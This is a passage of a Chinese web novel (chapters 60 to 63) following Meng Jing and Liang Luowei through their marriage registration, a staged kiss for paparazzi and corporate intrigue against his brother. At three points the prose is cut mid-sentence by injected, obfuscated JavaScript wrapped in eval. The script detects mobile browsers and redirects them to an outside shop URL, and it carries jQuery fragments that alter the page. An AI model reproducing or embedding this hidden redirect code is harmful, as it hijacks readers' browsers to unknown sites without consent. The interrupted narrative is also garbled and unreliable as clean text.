孟婧看向身边的男人，英俊的五官，利落的下颌，肩颈头身比都很完美，白衬衫妥帖板正地穿在身上，毫无整理的空间。 梁珞唯显然比孟婧听话，指尖捏起她鬓角一丝碎发，往耳后别了别：“做做样子。” 孟婧笑着替他抚平肩膀上的布料，手指经过颈侧时，想起在卫生间找到牙印时的一些画面。 脑中有些画面一发不可收拾，男人衬衫下鼓胀的肌肉仿佛原封不动地呈现在面前，让人血脉喷张。 梁珞唯捋着她另一边的鬓角：“耳朵怎么红了，很热？” 孟婧推了他一下，轻声说：“没什么，快拍吧。” 梁珞唯点点头，荷尔蒙的气息萦绕周围：“我会再靠近一些。” “哎！这个感觉也可以！来，冲镜头！笑！” 签字，领证，宣誓，走出服务大厅，孟婧手心汗没停过，梁珞唯牵住她时，持续鼓动的心跳似乎没法再往上翻。 是她已经习惯了这样的接触，还是因为类似吊桥效应？ 刚想挣脱，梁珞唯猛地发力，将人拽到怀里，两人以及其亲密地姿势走在去停车场的路上。 “你干什么？”孟婧挣脱不开，“领完证就暴露本性了吗！” 梁珞唯低头耳语：“别喊，十点钟方向。” 刚才在路上见到的那辆福特SUV就在不远处停着，车上没人，不知偷拍者现在在哪儿。 孟婧只觉脊背发凉：“他们怎么知道我们在这里…” 梁珞唯毫无担心之色，甚至有些老神在在：“不重要了，重要的是他们会拍到什么。” “肯定是拍到我们领证呀。”孟婧咬着唇，感觉脊柱都在不自觉挺直，“幸好我化妆了。” “嗯，很漂亮。” “梁珞唯，现在是说这个的时候吗，现在这种情况，到底要怎么解决？” “没什么太好的方法。”梁珞唯停下脚步，“本来也没想瞒着，既然他们想拍，不如利用机会留个新婚纪念。” 孟婧从他怀里挣脱出来，眼中不解：“什么纪念？” “比如这样。” 梁珞唯捧起孟婧的脸，俯身吻下去。 60. 第六十夜 事发突然，孟婧还没来得及闭眼，男人的脸就已经凑近。 这是一个蜻蜓点水般克制的吻。 梁珞唯捧着孟婧的脸，两手拇指轻轻压在她粉红色唇角上，有手指相隔，唇峰紧紧贴在一起。 严格意义上，这甚至不能算是一个吻，但孟婧记忆中实在搜刮不出比这还要亲密的接触，唇上隐约的温热湿糯，就让她紧张到忘记呼吸。 婚前协议中约定过，在特殊场合，不可以拒绝必要的亲密接触。此刻事发突然，孟婧自然要秉承契约精神，她微微踮起脚尖，并悄悄抓紧梁珞唯的衣襟。 有人在拍吗？镜头在哪里？他们这样的姿势…是否太过刻意？ 孟婧手指微微颤抖着，不自觉地越抓越紧。 “专心点儿。”男人灼热的鼻息洒在她面颊上，慢慢描绘着什么。 这个姿势维持几秒后，似是感受到她的主动，梁珞唯松开一只手勾住她的腰，往怀里一带，在她眼睑处落下一个结结实实的吻。 心中的那张弓再次被拉满。 孟婧垂下双眸，睫毛快速眨动着，像受惊吓的小动物：“梁珞唯，你差不多得了。” 原来他从来都不是谦谦君子，那些眸中逐渐浓稠的欲.念，终究还是暴露在她面前。 孟婧现在有理由怀疑，某些人打着被偷拍的幌子图谋不轨。 食髓知味，梁珞唯手上力度未减：“再抱一下。” 随即紧紧将人扣在怀中。 好闻的檀木香味混着秋日丝丝凉意钻进孟婧鼻息，无论如何都是让人安心的存在。孟婧在心里叹了一口气，小心翼翼地将手绕到他的背后。 两人就这样在原地相拥，直到有行人经过。 民政局门前，像他们这样腻歪的情侣并不算少，但孟婧还是觉得不好意思，脸埋在对方胸口的时候不觉得，松开后看到经过的陌生人，囧得只想赶紧离开这里。 她勾起梁珞唯的手臂：“快走吧，我也没那么想当模特。” “嗯，”梁珞唯勾着唇角，看起来心情不错。 和他的淡定不同，孟婧浑身都觉得燥热，回到车上立刻打开空调：“你突然回来，在国外的治疗怎么办？” 如果不赶快恢复记忆，这个人的行为会越来越偏离正常，她怕自己招架不住。 梁珞唯却一改之前着急的态度：“等等国内的风向，先处理好集团的事。” 孟婧想起刚才在车上听到的财经新闻：“也就是说，如果梁庭什顺利回来，一定会回来针对你？” “这是必然。”梁珞唯从口袋中掏出结婚证，拍了一张照片，“不过，他不可能全身而退。” 已经有内部人士爆料，这次海外分部检查出的重大舞弊行为不仅牵扯业务广，追溯时间很长，甚至为此，事务所也要承担以往报告的相应责任。 事情暴露后，十几个海外高管和上百名基层员工联名举报，阐明公司发生的种种违规行为皆受梁庭什指使。 国内这边，孟婧上次参与的审计结果已经基本出炉，津市事故始作俑者也已经被警察逮捕，虽然没有揪出背后的孟许堂一干人等，但也足以起到震慑作用。 梁庭什自身难保，再加上断了左膀右臂，不可能有再和梁珞唯抗衡的实力，不过为了防止其有后手，梁珞唯还是不能掉以轻心。 “有几个大股东已经对梁庭什不满多年，最近发生这么多事，相信已经有了新决断，如果能争取到他们的支持，我应该能在两年内把他赶出国。” 梁珞唯点击发送，合上手机。 孟婧深深看着他的侧颜：“做了这么多，到最后也只是把他赶出国吗？” 五年隐忍，爬到现在这个位置，拼着把公司搞垮也要和大哥斗，最后居然只是想要这样的结局。 梁珞唯，你傻不傻。 “不管是真心还是假意，没有他，我可能活不到十岁。”梁珞唯淡淡地说，“如果检察院尚有公平公正可言，也许会让他吃几年牢饭。” 但那些都不是他要考虑的事情了。 他启动车子：“跟我回去？” 孟婧摇摇头：“不了，我要去沈氏集团。” 虽然没有按照沈确的计划，兴师动众地举办订婚仪式，但起码结婚证和婚前协议都已在手，后续公司管理交接等等细节，还需要详谈。 “是我的错。”梁珞唯将车开出停车场，“没有提亲就敢来领证。” 孟婧出国这五年，孟许堂和沈确逢年过节必会拜访，起初是去医院看梁屹承，后来可能是觉得梁屹承身体不可能再好转了，又改投奔梁庭什。 可惜梁庭什从来都只把他们当做棋子，沈确也是近一年才瞧出苗头。 当时孟许堂已经摊牌了私生子的事情，两人开始谈到离婚。多年经营，孟家和沈家之间生意纠缠不清，沈确走投无路找到梁珞唯，试图通过孟婧娃娃亲的身份，求得他的帮助。 那段时间，梁珞唯帮过沈确不少，双方各有各的目的，表面上利益的联结却是一个没有见过面的陌生女人——他的娃娃亲对象。 后来，梁珞唯知道对方也是个被家族利益牺牲的棋子之后，生出了合作的念头。 没想到从孟婧回国到现在，不到一个月的时间，却发生了这么多事情。 命运和他开了个玩笑，却又不吝惜地馈赠给他别的。 “梁珞唯，我不需那些形式主义。”孟婧以为他在想提亲的事，“我妈妈对于我办不办婚礼之类的也没有任何要求，只要协议签了，她不会有任何意见。” 梁珞唯：“起码也要正式拜访。” 孟婧摇头：“下次吧，今天我想单独和她谈谈。” 她并不打算将国外发生的所有事情和盘托出，但既然已经领证，两家集团一体，起码Toby的存在不可能瞒得住。 沈确需要知晓这个孩子的存在，也需要对于后续产生的影响做出预判。 梁珞唯猜到了：“她还不知道Toby的事？” 孟婧垂下头默认：“所以不办事也挺好的。” 梁珞唯嗯了一声：“我知道你的顾虑。” 即使孟婧不说他也能想到，两人婚事不易搞得太过隆重，孟婧婚前有一个孩子，虽然他不在乎，京城别家却有无数双眼睛盯着。 现在两家集团都处于敏感时期，小小不言的八卦偷拍就算了，没必要的麻烦越少越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650943|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 孟婧笑着说：“那就…感谢您的理解与支持啦。” 路口红灯，梁珞唯踩了刹车，抬手在她脸上捏了一下。动手动脚这件事一旦习惯了，便一发不可收拾，这个女人身上哪里都软软的，让人想摸，想揉，想要吞入腹中。 十分钟后，车子停在沈氏集团楼下，孟婧临走时问：“既然已经被人盯上，今晚是不是要去你家？” 白天刚领证，晚上就分居，实在有点说不过去。反正梁珞唯的房子，不可能只有一间卧室。 “基本的生活用品都有。”梁珞唯看了眼时间，“有什么需要特殊准备的，发给我，或者我这边忙完来接你，一起去买。” 孟婧想了想：“我有个行李箱在乔小仙家里，反正你也去溪山别苑，帮我拿回来就好。” “哦对了。”她在关上车门前笑着说，“替我向大壮问好。” 待一切谈妥再离开时，已是三小时后。 沈确今天不忙，叫上集团法务部和业务部共同开了个会，针对后续两家集团的合作制定了详细计划。 最后，孟婧跟着回到她的办公室，单独说了关于Toby的事情。 可能是年纪大了，又长年独居，沈确对于这个天上掉下来的可爱外孙格外喜欢，不仅让孟婧发过来很多视频和照片，还主动提出要为他安排幼儿园。 对于梁家的态度，沈确表示，只要梁珞唯不介意，其他流言蜚语孟婧都不必理会。任谁都知道他们是联姻，没人会去纠结他们是不是真爱。 这一点倒是出乎孟婧意料，不过后来她想明白，当年沈确怀着她嫁给孟许堂时，圈子里也一定流传过各种谣言。当年淋过雨的母亲，如今也为女儿撑起一把伞。 时间还早，梁珞唯工作没结束，孟婧约了谭思思一起吃下午茶，两人在国贸一家西餐厅碰面。 在机场时当着外人，谭思思有所收敛，此时只有闺蜜俩，年轻时那股疯劲儿又生出来，抱着孟婧又揉又捏，引得服务员侧目。 “真的太久没见了，小婧婧，你怎么一点也没变，还是这么可爱。” 谭思思这些年环游世界，上天入地，身材练得极好，再加上小麦肤色和无敌的精神头，完全是个时尚潮人的模样。相比于她，孟婧身体就弱了很多，白皙水嫩，像朵温养的娇花。 “在机场时候我都没认出来！”拉住孟婧的手，谭思思仔细端详那枚婚戒，“真没想到啊，最后你还是和他走到一起了。” 孟婧不解：“思思，你说什么呢？” 五年之间，孟婧并没有把自己的病情和Toby的存在告诉谭思思，这些事情说起来复杂，两人又都忙，能不被打扰地聊一会儿天的时间几乎没有。 所以在谭思思看来，当初孟婧网恋失败，互删联系方式，后来又说起真的很喜欢那个男人，完全就是真的在谈了。 谭思思反问：“难道你老公不叫William？” 孟婧脸上笑容瞬间僵住：“你怎么也认识他。” “五年前你和我说的啊。”谭思思一脸茫然，“网恋之后还开房，这些事你都忘了？” “你说什么…”孟婧睁大双眼，“开……房？” 61. 第六十一夜 喊出开房两个字实在和目前所处的环境违和，孟婧收了声，默默看服务生将甜点架放在桌子上摆好。 选这家店之前，她是很想吃甜食的，可此时听完谭思思的话，心里却像被一层厚而绵密的糖霜盖住，腻到发晕。 孟婧忍着头疼抿了一口茶，等到四周没有外人，才又悄悄问：“过去那么久的事情，记这么清楚？” “你忘了？”谭思思没细想，“忘了还能跟他好，到底什么情况？” 孟婧看着手中液体表面映出的影子：“思思，我有好多事情想告诉你，但是它们太乱太杂，一时间不知道从哪里说起。” “婧，没事的，慢慢说，这些天我都在京市，除了公司那边的工作，其他时间我们都可以见面。” 孟婧点点头：“我在国外的事，林屿没和你说？” 提到林屿，谭思思面色显出一丝不自然，换了个坐姿，拿起叉子：“我们也不怎么联系，能说什么。” 孟婧笑笑：“我不信你们俩没事。” 一年前，三人曾有一次相聚的机会，谭思思和驴友到孟婧所在地邻国，有一天的转机时间可以见面。 当时孟婧计划带着孩子给闺蜜一个惊喜，但Toby临时生病，所以让林屿帮忙带话。谁知林屿不但没帮忙，还直接失联了。 再回来时，给孟婧家拿了谭思思带的伴手礼，脖子上还多了些暧昧痕迹。 “我和林屿…”谭思思叹了口气，“也是一时半会儿说不清楚的关系。” 叉子插进绵软巧克力酱中绞着，都是黏腻的心事：“以前也没觉得，可能是在外面遇到的糙男人太多了吧，看到他那样斯文的才…” “哎别说我了。”谭思思懊恼道，“总之，你在国外发生了什么我确实不清楚，这些年…我心思也没在这些上，想想还挺愧疚的。” “愧疚什么啊！”孟婧剜了她一眼，“能过自己喜欢的人生，我也跟着开心。” 谭思思抱了抱她。 “在你讲五年前的事情之前，先给你看几张照片。”孟婧掏出手机。 在亲近的人面前袒露一个秘密，比在陌生人面前还要紧张。孟婧心中掺杂着欣喜与心酸，翻出Toby当婚礼花童时候的照片。 “看看，像我吗？” 谭思思看着屏幕上可爱呆萌的小孩子，倒吸一口凉气：“天呢，你俩…孩子都这么大了…才刚结婚！？” 孟婧抿着嘴：“如果我说…孩子不是他的呢。” * 梁珞唯回到溪山别苑时，张沛已经找过管家，让其安排好富力那边房子的生活用品和日常饮食。 当然，是两人份的。 别墅周围确认没有眼线，书房内文件已经整理好，全部等待老板过目。 裴燃在沙发上横躺，百无聊赖偷窥着公司视频会，听到车库门打开的声音，惊得立马坐起来：“我靠，终于回来了。” 张沛去厨房泡咖啡，经过沙发，有些幸灾乐祸道：“裴总，没想到你私下里还挺怕我们老大。” 裴燃刚入职时，公司流传过一段时间他在港的各种绯闻八卦，是梁珞唯派人做的，目的就是让梁庭什的人知道，两人关系不和。 裴燃虽然表面上对人春风般和煦，看起来比梁珞唯好说话很多，但共事以后，公司里的人才发现，这位空降的上司是个笑面虎，做起事来的狠辣程度，和梁珞唯不相上下。 而张沛看到的裴燃又是另一幅面孔——懒散任性，有时还带点孩子气，真不知道怎么坐上这个位置的。 “我连他哥都不怕，怕他？”裴燃冷笑，“有求于人所以态度好点儿，这不是职场最基本的规则吗？小张啊，你还是需要成长。” 张沛笑呵呵地点点头：“好的裴总，我努力。” 转头后撇着嘴去找马克杯。 门被打开，预想中的高大身影没有出现，反倒是听到高跟鞋踩在地上的声音，裴燃扭头去看，恰好和梁曼对视。 梁曼挑眉，将包扔到裴燃旁边，坐到另一侧的沙发上：“梁珞唯人呢？” “我还想知道。”裴燃将手机中的视频会议声音调大，目不斜视。 梁曼没理他，和厨房里的张沛打过招呼，要了一杯咖啡。 两人各自看着手机，谁也没说话。 半晌后，张沛将托盘放到茶几上：“裴总的加糖拿铁，曼姐的加冰美式，这边是我们老大最喜欢的那家马卡龙，两位领导试试。” 裴燃撇了一眼托盘中的咖色甜点：“什么口味？” 张沛一一介绍：“咖啡开心果和巧克力榛子，厨房里还有草莓桑葚的。” 裴燃抱起盘子放进怀里，用下巴点点梁曼：“这些我都要了，给她草莓的。” “啊？”张沛看着盘中至少七八枚马卡龙，“您吃得了吗？” “你管我。”裴燃看都没看就往嘴里扔了一个。 梁曼看了裴燃一眼，不知道他什么时候知道自己对坚果过敏的。 “张秘书，不用麻烦了，我戒甜食。”说完，她拿起手机。 梁珞唯这个挨千刀的，把她叫来难道就是要当和事老？让她和裴燃恢复和解？绝不可能。 电话刚播出去就被挂断，梁珞唯开门进来，仿佛他才是这栋房子的访客。 “老大，终于回来了！”张沛端着咖啡，指指书房的方向，“都准备好了。” 梁珞唯看着一屋子人，捏了捏眉心：“姐，来了。” 裴燃虽然捧着手机，余光却瞥着他，暗自嘁了一声。 梁曼双腿交叠，喝着咖啡：“呵呵，叫姐准没好事。” 说完，起身先行一步，进了书房。 梁珞唯看了眼在沙发上假正经的裴燃：“先回吧，出来太久容易被盯上，文件我让张沛晚点带给你。” 裴燃虽然不乐意，但也顺从地起身：“那我岂不是白来了？” “摸鱼不想去公司就直说。”梁珞唯给他一个背影，“谁还不知道你。” “嘿我这暴脾气！”裴燃挥了挥手里的抱枕，没舍得扔在地上，又放回沙发摆好，“苦啊！只有我一个人要苦逼的去上班儿！” “我这也算是…居家办公。”张沛小心翼翼道，“那裴总慢走？” “你完事儿必须回公司。”裴燃瞪他一眼，“今晚加班儿！” 这栋别墅的书房很大，一进门就能看到宽大实木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659172|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上摞成山的文件，张沛把咖啡放到远离资料的地方，随后替两人关上房门。 梁珞唯衣服也来不及换，直接坐下，打开最上面的文件夹：“姐，坐。” 梁曼没客气，拿着自己那杯冰美式坐到他对面的椅子上：“你刚才发给我要查的那个人，我现在就可以发给你资料。” 机场偶遇时，谭思思直接叫出了梁珞唯的英文名字，让他想到初见林屿时的场景。现在不能出国治疗，只能尽量寻找一些蛛丝马迹。 梁珞唯翻看着文件，没有搭话，应该是等着梁曼主动介绍。 因为梁曼就不是个能憋住话的人。 “你发来名字的时候我都惊呆了，巧不巧，谭思思就是我们公司刚签的艺人。”梁曼往他文件夹里放了几张彩打A4纸，“我直接把简历给你拿来了。” 梁珞唯粗略翻看：“霖市人？” “是啊。”梁曼喝了一口咖啡，“学校和孟婧的都不一样，相同点是大学毕业以后都出国了，我猜应该是留学机构认识的。” 梁珞唯嗯了一声：“其他的？越详细越好。” “干嘛啊，你看上她了？”梁曼无语地问，“这么想知道她和孟婧的关系，不如直接调查孟婧啊。虽然孟婧是私生女，也多少算咱们这个圈子里的人，查起来不比那个满世界跑的旅游博主简单？” 这么简单的道理，梁珞唯不可能不知道。 “那就不说别人。”梁珞唯拿起一支笔，在文件上批改着，“五年前，你都知道些什么？” 说完又补充：“我要细节。” 梁曼晃着小腿：“细节啊，那时间可长了，你确定要听？” 梁珞唯嗯了一声。 “那…就从她入职FINDER说起吧。” 梁珞唯仔细听着，从孟婧如何参与面试，到开始实习，一直到在会所遭遇不测，被他救下。 梁曼知道的事情并不多，所说的细节也只有她看到的部分，无法从中推测出进一步的真相，但梁珞唯还是觉得懊恼，懊恼于没有早点知道这些。 笔尖不自觉地用力，在文件上划出一道口子，梁珞唯嗓音低沉：“为什么不早说。” 梁曼感到他情绪的变化，表情也严肃起来：“那你也没问呢…” 看向文件，她发现梁珞唯手上的异样：“这戒指…” 梁珞唯闭眼揉着额头：“结婚了，上午刚领的证。” 至于结婚对象，不可能是别人。 梁曼虽然知道联姻是迟早的事，但如此悄无声息也实在奇怪，毕竟，梁珞唯在生日宴上高调宣布要去孟家提亲，如今这是… 梁珞唯也猜到了她的想法：“梁庭什要回来了，其他事，尽量低调。” 梁曼当然知道这个消息：“对了，你让我把刁涟接回来，她昨天已经入境了，暂时住在我名下一套房子里。” 梁珞唯嘱咐道：“有人跟着？” “有咱们的人暗中保护，不过我也跟她说了，不能随便出门。” 梁珞唯嗯了一声，继续翻看文件。 几乎是同时，张沛敲响书房门。 “老大，门外来了一个女人，看着好像是…梁总前妻…” 62. 第六十二夜 梁珞唯虽然派人暗中保护刁涟，但却并没有刻意限制她的人身自由。 没有人愿意被束缚，与其锁入牢笼，不如将外界的危险告知，让其望而却步。 这次请她回国，是双方利益的博弈，梁珞唯和刁涟站在平等的位置，对方非要来访，他也无法阻止。 “不知道她后面跟没跟着尾巴，你们不要露面。” 梁曼和张沛都是偷偷来的，院子里没有围墙，只能是梁珞唯去开门。 绕过几棵海棠树，可以看到一袭黑袍的女人站在院门外，头上的丝巾遮住下半张脸，露出一双略微红肿的丹凤眼。 女人身后不远处是一辆出租车，里面的司机是梁珞唯安排的保镖，见到梁珞唯出来，便启动车子缓缓开走。 大门打开一条缝隙，梁珞唯侧身让人进来，没有寒暄，皱眉问：“有事？” 刁涟眼中的光芒稍稍熄灭：“我…就是想见见你。” “进去说吧。” “好。” 两人一前一后走进建筑内，刁涟拂去头上的丝巾，露出整张面孔。 苍白、消瘦，全无几年前的意气风发。 不是知晓真相的人，根本不会把她和刁氏集团大小姐对号入座。 也对，毕竟被梁庭什吸血过后，刁氏家族早已没落，集团也被合并的七七八八，只剩下圈子里一段八卦谈资。 梁曼就站在玄关处等着，见她进来，一脸玩味地笑：“刁小姐，早知道你要来，我送你多好，还省得来回折腾。” 刁涟抓紧手中丝巾，尴尬地说：“没想到梁小姐也在。” “还有我。”张沛端来一杯热茶，“刁小姐好，我是小梁总的秘书，张沛。” 刁涟并没见过他，接过茶杯暖手，象征性地朝张沛点点头。 梁曼看刁涟缩着脖子，轻轻探了一下她的手背：“怎么这么凉，快去沙发上坐会儿。梁珞唯，家里有毯子吗？” 梁珞唯依旧站在玄关处，指挥张沛去客卧拿，而后看了眼窗外。 待在暗处时，开放式院墙的好处便体现出来。四周环境一览无余，步行道上没有行人，也没有车子经过。 刁涟自知自己来的不是时候，小声道歉：“给你们添麻烦了，但是我…好久没回国了，还是想过来看看。” 她和梁珞唯、梁庭什自幼相识，对这个小区也熟悉，这些年在国外思乡，发现大部分美好回忆都发生在二十岁之前。 梁曼叹了口气：“没有责备你的意思，这不是，怕不安全么。” 刁涟自以为聪明，五年前通过一张偷拍试图搞乱梁家兄弟的关系，可惜还是高估了自己，最终，那张照片成了害死一个无辜女孩的导火索，同时，也将刁家推入了无尽深渊。 刁家老来得女，只有刁涟一个孩子，也将集团所有的宝都压在她一个人身上。和梁氏结亲是刁涟自幼的目标，不管对方是梁珞唯还是梁庭什，她都不在乎。 直到婚前，梁庭什对她都同自幼时一样，宠爱有加，圈子里的人都羡慕刁家，说是即让女儿得到了爱情，又让集团得到了利益。 没人知道的是，螳螂捕蝉，黄雀在后，刁涟以为自己得到了梁庭什的心，却没想到，自己也是梁庭什计划中的一枚棋子。 刁家的集团业务在短短两年内被梁氏吸收，而梁庭什每天下班回到家，摇身一变，变成了自己父亲年轻时的模样。 那时她怀了孩子，在家休息，却依旧躲不过梁庭什的暴力和嗜血，最终孩子没保住，但在梁珞唯的帮助下，还是结束了这场糟糕的婚姻。 离婚后，刁涟在国外开了一家中餐馆，虽然远远不如国内风光，好在衣食无忧，不用再担惊受怕。 曾经娇贵的皮囊不再，刁涟看着不远处依旧挺拔英俊的男人，内心涌起说不出的酸楚：“珞唯，这些年…你还好吗？” “不劳费心。”梁珞唯扭动腕表，露出手上的戒指。 刁涟一怔，露出一个勉强笑容：“什么时候结的，一点消息都没有。” “她不喜欢张扬。”梁珞唯目光平静，“如果你是想来寒暄的，抱歉，这些年除了工作，我没什么私生活可讲。” 梁曼在旁边听，暗自腹诽，人家孟婧不喜欢张扬，合着是打扰他秀恩爱了，找个机会就可劲儿开屏呢。 张沛从客房中拿了一条毛毯递给刁涟，她接过披上，说：“珞唯，你变了好多。” 曾经花天酒地是假，却也是真的颓废。这些年转了性，耗到梁屹承病倒，和梁庭什内斗，逐步接管各部门，桩桩件件也都做得有模有样。 原来是她从来没有真正了解这个男人。 “挺羡慕你老婆的。”刁涟将披肩往脖颈上带了带，“当初要是我选了你，一切都要换个结局了。” 张沛听到这话瞳孔一缩，添茶水时在茶几上漏了几滴。 现在到底是什么情况，青梅竹马也不应该说这些吧…要不要和孟婧说一声… 一边是老板，一边是老友，天人交战过后，最终资本压到情感。 “就算当初没有她，我也不可能选你。”梁珞唯面不改色，“刁小姐跑这么一趟，就只叙旧？” 刁涟吐出一口浊气：“你们要的资料我都带了，除此之外，我还可以提供几段录音，内容梁庭什和几个高管在家里密谈，内容涉及现在这个案子，我拿过来给你听一下，如果有对你不利的，我就不放出来了。” “去书房。”梁珞唯给梁曼使了个眼色，“你们去。” 明摆着一副守身如玉，不能和其他异性共处一室的态度。 梁曼垂着手朝他比了个中指，扶着刁涟进了书房。 张沛见梁珞唯没回去继续看文件，反而坐到了沙发上，央求道：“老大…那些资料…你看完我还得回公司呢…” 梁珞唯一只手撑在额上，另一只手朝书房的方向挥了挥。 张沛眼睛一亮：“哎好嘞，我现在就拿出来。” 客厅中只剩梁珞唯一人，他拿出手机。 William.L：【在做什么？】 Sandra.M：【已经从公司出来，下午约了思思，可能会晚一点。】 William.L：【没关系，结束发我地址，去接你。】 趁着对方输入中，梁珞唯点了几下屏幕，眉头终于舒展。 几秒钟后，手机再次震动。 老婆：【你忙吧，我结束后直接过去。】 老婆：【方便时发我具体地址和门锁密码。】 * 谭思思晚上约了朋友吃饭，在富力附近，顺路送孟婧回家。 “这一下午的信息量实在太大，我需要时间缓缓。”谭思思拉着孟婧的胳膊，“怎么办，不舍得离开你。” “假不假。”孟婧戳了下她的手背，“舍不得就跟我回家” 谭思思顺势举起那只手：“我发誓，比真金还真！” 说完笑眯眯地看她：“但是今晚毕竟是你们新婚之夜，我跟着回家算怎么回事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689711|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟婧偷看了一眼司机师傅，小声嘟囔：“你脑子里非要有点颜色吗。” “那不然呢，放着这么个秀色可餐的男人，你能忍住不吃？” 谭思思指了指两人刚刚逛街的战果：“婧婧，我的小婧婧，咱孩子都四岁了，就别纯爱了，成不？” 孟婧掐了她一把：“正经点。” “我就是在和你说正经的！”谭思思苦口婆心，“合法夫妻，他在家没得吃，饿了就要出去找了！这么优质的对象你不看紧点，指不定便宜了谁。” 孟婧抿着嘴，不赞同她的说法：“他没得吃，我也一样没得吃，他出去找，我就不能？婚姻不是只有这些事情，梁珞唯…他也不是这样的人。” 虽然说最后一句话的时候，她有些心虚。 谭思思惊讶道：“嚯，虽然我觉得你这种想法很酷，但是…倒也不必，你俩这种优质资源在外面还真难找到登对的。” “什么话都让你说了！”孟婧白了她一眼，“快到了，让师傅在前面停一下吧。” 之前去过沈确家，所以孟婧对这个地方还算熟悉。已经有人实现通知了保安，所以孟婧在进门时并没有受阻，她拎着下午买的衣服和日用品，进入了梁珞唯的私人领域。 这是一处接近三百平米的大平层，四室两厅，装修风格简约，家具也不多，各处散落着一些简单的生活痕迹。 夜色即将来临，孟婧走到巨大的落地窗前，俯瞰夕阳下的梁氏集团大楼，心中思绪纷飞。 上次回京市仿佛已是很久以前，当时她在飞机上还给自己加油，希望能够成功推掉婚约，独自振兴沈氏。谁知不到一个月，竟摇身一变成了梁太太。 不过她没有向后看的习惯，既然决定要走这条路，她便不惧沿途所有。 房间刚被收拾过，新添置的生活用品也一应俱全，入户门有崭新的女士拖鞋，餐厅里能看到成对的马克杯，就连沙发上都放了粉色的珊瑚绒毛毯。 梁珞唯在信息里说让她住最大的那间客卧，孟婧拎着东西来到房间，发现这里是离主卧最近的位置。 婚前协议中约定，婚后双方虽然在同一屋檐下，但依旧会保持分居关系，目前看来，梁珞唯还算信守承诺。 衣柜中有好闻的香薰味道，孟婧拉开抽屉，里面有两套款式普通的居家服和女士浴袍，应该是不知道她喜欢什么款式，所以仅作为备用的。 能做到如此细致，也算有心了。 孟婧望着手里的购物袋，叹了口气，将其中的衣服一件件挂起来。 吃完下午茶，她和谭思思在相邻的商场随意溜达，路过一家内衣店时，被几件新款毛绒睡衣吸引。 孟婧怕冷，每年换季都喜欢买些毛茸茸的衣服，摸着看着都暖。 结账时，谭思思不知道从哪里跑出来，也买了东西，不过风格和孟婧不太一样——几件性感内衣和蕾丝吊带睡裙，结账后，被塞进孟婧的购物袋里。 好闺蜜难得见面，送给她的新婚礼物不收不合适，孟婧把它们挂在最不起眼的位置，暗自庆幸。 幸亏是分房住，不然被那个男人看到，一定会误会她想做点什么。 一切收拾妥当，当孟婧想先去洗个澡时，手机在床上疯狂的震起来。 是谭思思的电话。 “怎么了思思？”孟婧笑着问，“我落什么东西在你车上了吗？” 谭思思显然比她严肃得多：“孟婧，快去看热搜。” “你老公…好像…真有人了。” 63. 第六十三夜 要说梁珞唯“出轨”，孟婧自然是不信的。挂掉电话，她点开热搜，往下划了一页才看到。 同城第十名：#梁氏二公子白天娶老婆，夜晚会佳人。 配图一共四张，分别是：梁珞唯和孟婧并排从民政局离开、两人当街拥吻、梁珞唯将神秘女子接进旧宅，神秘女子在天暗后独自离开。 刚上榜，热搜并不在前排。至于为什么谭思思能这么快看到，孟婧猜测，可能是因为她刚签的传媒公司和梁氏有关。 国内软件的大数据推送已经做得这么好了吗？ 孟婧久居国外，并不常上这个软件，没想到热搜窜得这么快。保存图片的功夫，词条已经窜到了第七名。 梁珞唯今天才回国，平日里也很少去溪山别苑，怎么这么凑巧就被拍到了？联想到在马路上被跟车的惊险场面，孟婧替他捏了把汗。 至于那个女人到底是谁，并不是她最关心的事。 做到床边，孟婧打开相册，将刚刚保存的照片放大几倍。 拍照片的人大约坐在民政局停车场的某辆车上，距离很远，所以才没有拍到梁珞唯偷偷借位的姿势。 孟婧用拇指和食指放大又缩小，一边重复着一边嘟囔：“还挺好看。” 她又拿出包里的那个红本本，翻开里面的结婚照。 两个人淡淡地面对镜头，表情有些僵硬，眼中是小情侣特有的青涩。 原来摄影师说“这个感觉也可以”，是指他们虽然没有幸福微笑，却能通过这种微妙的拘谨状态显露出一种特有的暧昧氛围。 中国人讲究含蓄与留白，可能就是这个原因。 愣神中，手机震动。 是梁珞唯。 孟婧心里不知缘由地紧张，手机左手倒右手，等了几秒钟后，才慢悠悠接起电话：“喂。” 梁珞唯应该是在卫生间，先是安静，随后磁性的声音在狭小空间内震动，说了不见头尾的三个字。 “我没有。” 一秒，两秒，三秒。 心跳开始突破应有的频率，数不出来过去多久，孟婧喉咙发干，只回了个：“哦。” 没有人解释那句“我没有”指的是什么，也没人怀疑为什么要这样问，孟婧想到那张结婚照，和拍照前男人为他捋头发的样子。 